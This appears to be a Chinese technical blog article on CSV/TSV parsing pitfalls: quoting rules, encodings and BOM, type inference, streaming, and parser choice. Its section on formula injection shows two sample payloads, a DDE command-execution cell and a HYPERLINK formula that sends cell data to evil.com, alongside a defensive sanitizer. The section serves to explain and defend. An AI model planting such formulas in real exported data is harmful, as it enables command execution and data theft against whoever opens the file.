CSV/TSV 解析陷阱

系统梳理 CSV/TSV 解析的坑:RFC 4180 的引号与转义规则、分隔符与方言(dialect)检测、BOM 与编码、多行字段与换行符、引号内的逗号与换行、类型推断陷阱(科学计数法/前导零/日期/空值与 NULL 的歧义)、TSV 的额外约束、流式解析与内存、Excel 与公式注入安全,以及按场景的解析器选型建议。

引言

CSV 大概是世界上最被低估的数据格式:它看起来简单到「按逗号切分」就行,但实际上没有一个真正统一的标准,每种工具都有自己的方言。Excel 会把 00123 变成 123、把 1E5 变成科学计数法、把长数字变成 1.23E+15;含逗号的字段、含换行的字段、含引号的字段,每一个都能让天真的解析器出错。

本文把 CSV/TSV 解析的坑一次讲清:从 RFC 4180 的规则,到方言检测、BOM、类型推断、流式处理,再到 CSV 注入这类安全风险。读完你会明白:永远不要用 line.split(",") 解析 CSV。

相关:JSON 与 YAML 处理 、列式数据格式 。数据管道落地见 data-engineering 专题 。

1. RFC 4180:唯一的「标准」

1.1 规则要点

RFC 4180 是 CSV 最接近标准的文档,核心规则:

  1. 每条记录一行,用 CRLF(\r\n)分隔。
  2. 字段间用逗号分隔。
  3. 字段可被双引号包裹。
  4. 引号内的双引号用两个双引号转义("" → ")。
  5. 引号内的逗号和换行是字面内容。
  6. 首行可选地作为表头。
name,description
"Smith, John","He said ""hello"" to me"
"Multi
line",plain

这个文件只有 3 条记录,但按「按行切分」会数出 4 行——第 2 条记录的字段跨了两行。

1.2 标准没规定的事

RFC 4180 留下大量空白,正是方言丛生的根源:

  • 编码:默认 ASCII,但实际可能是 UTF-8、GBK、Latin-1。
  • 分隔符:只规定逗号,实际有分号(欧洲)、制表符(TSV)、竖线。
  • 引号字符:只规定 ",有些方言用 '。
  • 表头:可选,且没规定唯一性。
  • 空字段 vs 缺失字段:a,,c 与 a,c 语义不同,但如何表示「缺失」无标准。
  • 数字/日期格式:完全不管。

2. 引号与转义

2.1 引号的两种作用

引号把「可能含特殊字符的字段」包起来,使其中的逗号、换行、引号变成字面内容:

field with, comma      →  "field with, comma"
field with "quote"     →  "field with ""quote"""

2.2 常见错误

错误写法问题
只处理 " 不处理 ""引号内的引号被误解
引号只在字段开头识别a"b 被错误处理
引号内的换行按行切记录被截断
不 trim 字段前后的空白"a" 与 a 混淆
假设引号一定成对畸形文件直接崩溃

2.3 引号状态的正确解析

正确的解析是一个状态机:跟踪「是否在引号内」,只有在引号外遇到分隔符才切字段。

def parse_csv_line(line):
    fields, field, in_quotes, i = [], [], False, 0
    while i < len(line):
        c = line[i]
        if in_quotes:
            if c == '"':
                if i + 1 < len(line) and line[i + 1] == '"':
                    field.append('"'); i += 1      # 转义的引号
                else:
                    in_quotes = False
            else:
                field.append(c)
        else:
            if c == '"':
                in_quotes = True
            elif c == ',':
                fields.append(''.join(field)); field = []
            else:
                field.append(c)
        i += 1
    fields.append(''.join(field))
    return fields

真实解析器还要处理跨行(引号未闭合时继续读下一行)。这段逻辑的通用性——状态机、词法分析——与 日志解析 里构建解析器的思路相通。

3. 分隔符、编码与 BOM

3.1 方言(dialect)检测

Python 的 csv 模块提供 Sniffer 自动检测方言:

import csv
with open("data.csv", newline="", encoding="utf-8-sig") as f:
    sample = f.read(4096)
    dialect = csv.Sniffer().sniff(sample)
    print(dialect.delimiter, dialect.quotechar, dialect.lineterminator)

注意:Sniffer 只是启发式,复杂文件会猜错。生产环境应显式指定方言,而非依赖猜测。

3.2 BOM 问题

UTF-8 BOM(EF BB BF,即 )是 Excel 导出 CSV 的常见产物。它会让第一个字段名变成 id,导致按列名取值失败。

# 错误:BOM 留在第一个字段名里
with open("data.csv") as f:
    reader = csv.DictReader(f)
    row["id"]   # KeyError: 'id'

# 正确:用 utf-8-sig 自动剥离 BOM
with open("data.csv", encoding="utf-8-sig") as f:
    reader = csv.DictReader(f)
    row["id"]   # 正常

3.3 编码检测

CSV 没有声明编码的机制,只能靠启发式或约定:

import chardet
raw = open("data.csv", "rb").read(10000)
enc = chardet.detect(raw)["encoding"]   # 可能返回 'GB2312'、'UTF-8' 等

中文场景尤其危险:GBK 与 UTF-8 混用会得到乱码而非报错。约定用 UTF-8(无 BOM)是唯一可靠策略,读取端要显式指定。

4. 换行符与多行字段

4.1 三种换行符

来源换行符
Unix / macOS\n
Windows\r\n
旧 Mac\r

混合来源的文件可能同时含 \n 和 \r\n。解析时必须用 newline="" 打开文件(Python),把换行处理交给 csv 模块,否则模块会看到被 \r\n 拆坏的字段:

# 正确:newline='' 禁用通用换行翻译
with open("data.csv", newline="", encoding="utf-8") as f:
    for row in csv.reader(f):
        ...

4.2 多行字段

字段内的换行只有在引号内才合法。解析器必须在引号未闭合时继续读下一行:

id,note
1,"line one
line two"

这一条记录跨了两行,note 的值是 line one\nline two。任何「按行读 + 按行切」的实现都会在这里崩掉。

5. 类型推断陷阱

CSV 本身没有类型——一切都是字符串。但当数据经过 Excel、pandas、数据库导入时,隐式类型推断会制造灾难。

5.1 经典事故

原始值被推断为后果
00123(工号)123前导零丢失
1E5(产品编号)100000.0变成科学计数法
+86 138...(电话)86加号与空格被吃
3-5(区间)2026-03-05被当日期
TRUE/NO布尔值语义被改写
1.23456789012345678浮点精度丢失
NaN/NULL/NA/-缺失值与真实字符串混淆
16:30时间变成 16:30:00

防御:导入时强制所有列为字符串(pandas dtype=str、keep_default_na=False),在业务层显式转换。

import pandas as pd
# 全部按字符串读,不推断类型,不把 NA 当缺失
df = pd.read_csv("data.csv", dtype=str, keep_default_na=False, encoding="utf-8")

5.2 空值、空字符串与 NULL 的三重歧义

a,,c        → 空字段(可能是空字符串,也可能是缺失)
a,"",c      → 显式空字符串
a,NULL,c    → 字面字符串 "NULL"?还是缺失?

CSV 无法区分这三者。必须在数据契约层面约定:要么用专门的缺失标记(如 \N,PostgreSQL COPY 的做法),要么全部当字符串处理。

5.3 日期与本地化

03/04/2026 是 3 月 4 日还是 4 月 3 日?取决于地区。CSV 不含地区信息,导入时必须指定格式。ISO 8601(2026-03-04)是唯一无歧义的选择。

6. TSV 与其他变体

6.1 TSV 的额外约束

TSV(Tab-Separated Values)比 CSV 更简单,但有自己的规则:

  • 字段内不允许制表符,因此通常不需要引号机制。
  • IANA 的 text/tab-separated-values 规定字段内不能有 tab、换行、回车。
  • 实践中若字段含 tab,仍需转义,而转义方式各家不一(\t、\\t、引号包裹)。

TSV 的优势是解析更快(分隔符不会出现在数据里)且更少歧义,适合机器间交换。代价是引号规则不统一。

6.2 其他分隔符

方言分隔符常见地区/工具
CSV,通用
TSV\t大数据、日志
分号 CSV;欧洲(因逗号是小数点)
竖线|老系统、Oracle 导出
固定宽度无大型机、银行报文

固定宽度(fixed-width) 是另一类:字段按列位置切分,无分隔符。解析时靠列定义而非分隔符,常见于金融与遗留系统。

6.3 分隔符出现在数据里

若分隔符可能出现在数据中,必须转义或引号包裹。这就是为什么「用 ; 当分隔符」在欧洲流行——因为当地用逗号作小数点,1,5 是 1.5,若再用逗号分隔就冲突了。选分隔符前先看数据分布。

7. 流式解析与内存

7.1 不要一次读入内存

大 CSV(GB 级)必须流式处理:

import csv
with open("huge.csv", newline="", encoding="utf-8") as f:
    reader = csv.reader(f)
    header = next(reader)
    for row in reader:            # 逐行处理,内存 O(1)
        process(row)

对比 pandas 的 read_csv 会一次性加载(除非用 chunksize):

for chunk in pd.read_csv("huge.csv", chunksize=100_000, dtype=str):
    process(chunk)               # 分批处理

7.2 解析性能对比

方案速度内存适用
手写 split快但错低从不适用(会出错)
Python csv中低通用
pandas中高分析
polars快中现代分析
DuckDB read_csv很快低查询优先
Rust csv crate很快低高性能管道

现代栈(Polars、DuckDB)在 CSV 读取上有显著优化,参见 Polars 与 DuckDB 现代数据栈 。列式存储(Parquet)在分析场景下通常比 CSV 快一个数量级,见 列式数据格式 与 clickhouse 专题 。

7.3 校验与错误恢复

流式解析要决定遇到坏行怎么办:

  • 严格:立刻报错并终止(适合数据交换)。
  • 宽容:跳过坏行并记录行号(适合日志类)。
  • 部分:把坏行原样保留到错误文件,供人工修复。

无论哪种,都要记录行号——没有行号的 CSV 错误几乎无法定位。

8. CSV 注入安全

8.1 公式注入(CSV Injection)

当 CSV 被 Excel 打开时,以 =、+、-、@ 开头的单元格会被当作公式执行:

name,amount
=cmd|'/c calc'!A0,100
=HYPERLINK("http://evil.com?d="&A1,"click")

这是「CSV 注入」或「公式注入」,可导致命令执行或数据外泄。防御:导出时给危险前缀加单引号或空格:

def sanitize_cell(v):
    if v and v[0] in ("=", "+", "-", "@", "\t", "\r"):
        return "'" + v
    return v

8.2 字段注入与转义

向 CSV 写入用户数据时,必须正确转义引号、分隔符、换行,否则会破坏结构甚至注入额外列。用库写,不要手工拼:

import csv
with open("out.csv", "w", newline="", encoding="utf-8") as f:
    writer = csv.writer(f, quoting=csv.QUOTE_MINIMAL)
    writer.writerow(["name", "note"])
    writer.writerow(["Smith, John", 'He said "hi"\nbye'])

9. 选型与实践建议

9.1 解析器选型

语言推荐库特点
Python标准库 csv流式、方言支持
Python(分析)pandas / polars类型推断可控、分块
JavaScriptPapa Parse浏览器/Node,流式
JavaApache Commons CSV / univocity方言丰富
Goencoding/csv标准库,严格
Rustcsv crate高性能,灵活

9.2 十条铁律

  1. 永远不要用 split(",") 解析 CSV。
  2. 用 newline="" 打开文件。
  3. 显式指定编码(推荐 utf-8-sig)。
  4. 显式指定方言,不依赖 Sniffer 猜。
  5. 导入时把一切当字符串,业务层再转换。
  6. 大文件用流式或分块。
  7. 记录错误行号。
  8. 导出时转义,导入时防御公式注入。
  9. 约定缺失值标记,别让空字符串承担三种语义。
  10. 分析场景优先考虑 Parquet,别让 CSV 进数据湖。

9.3 何时该放弃 CSV

CSV 适合简单表格、人机交换、一次性导入。当出现以下需求时,应换格式:

  • 需要类型(用 Parquet、Arrow)。
  • 需要嵌套结构(用 JSON、Avro)。
  • 需要 schema 演进(用 Avro、Protobuf)。
  • 数据量大且要频繁分析(用 Parquet + 查询引擎)。

10. 小结

CSV 的陷阱集中在三处:结构层(引号、转义、多行、方言)、编码层(BOM、字符集、换行符)、语义层(类型推断、空值歧义、公式注入)。规避它们的办法不是记住更多特例,而是把 CSV 当作有方言的二进制格式严肃对待:用成熟的流式解析器、显式指定一切参数、在边界处做校验与转义。需要更结构化的数据表达时,回到 JSON 与 YAML 处理 或转向 列式数据格式 。

继续阅读

探索更多技术文章

浏览归档,发现更多关于系统设计、工具链和工程实践的内容。

全部文章 返回首页

「others」更多文章

  1. HTTP 缓存与条件请求
  2. 模板引擎原理与选型
  3. URL 解析与百分号编码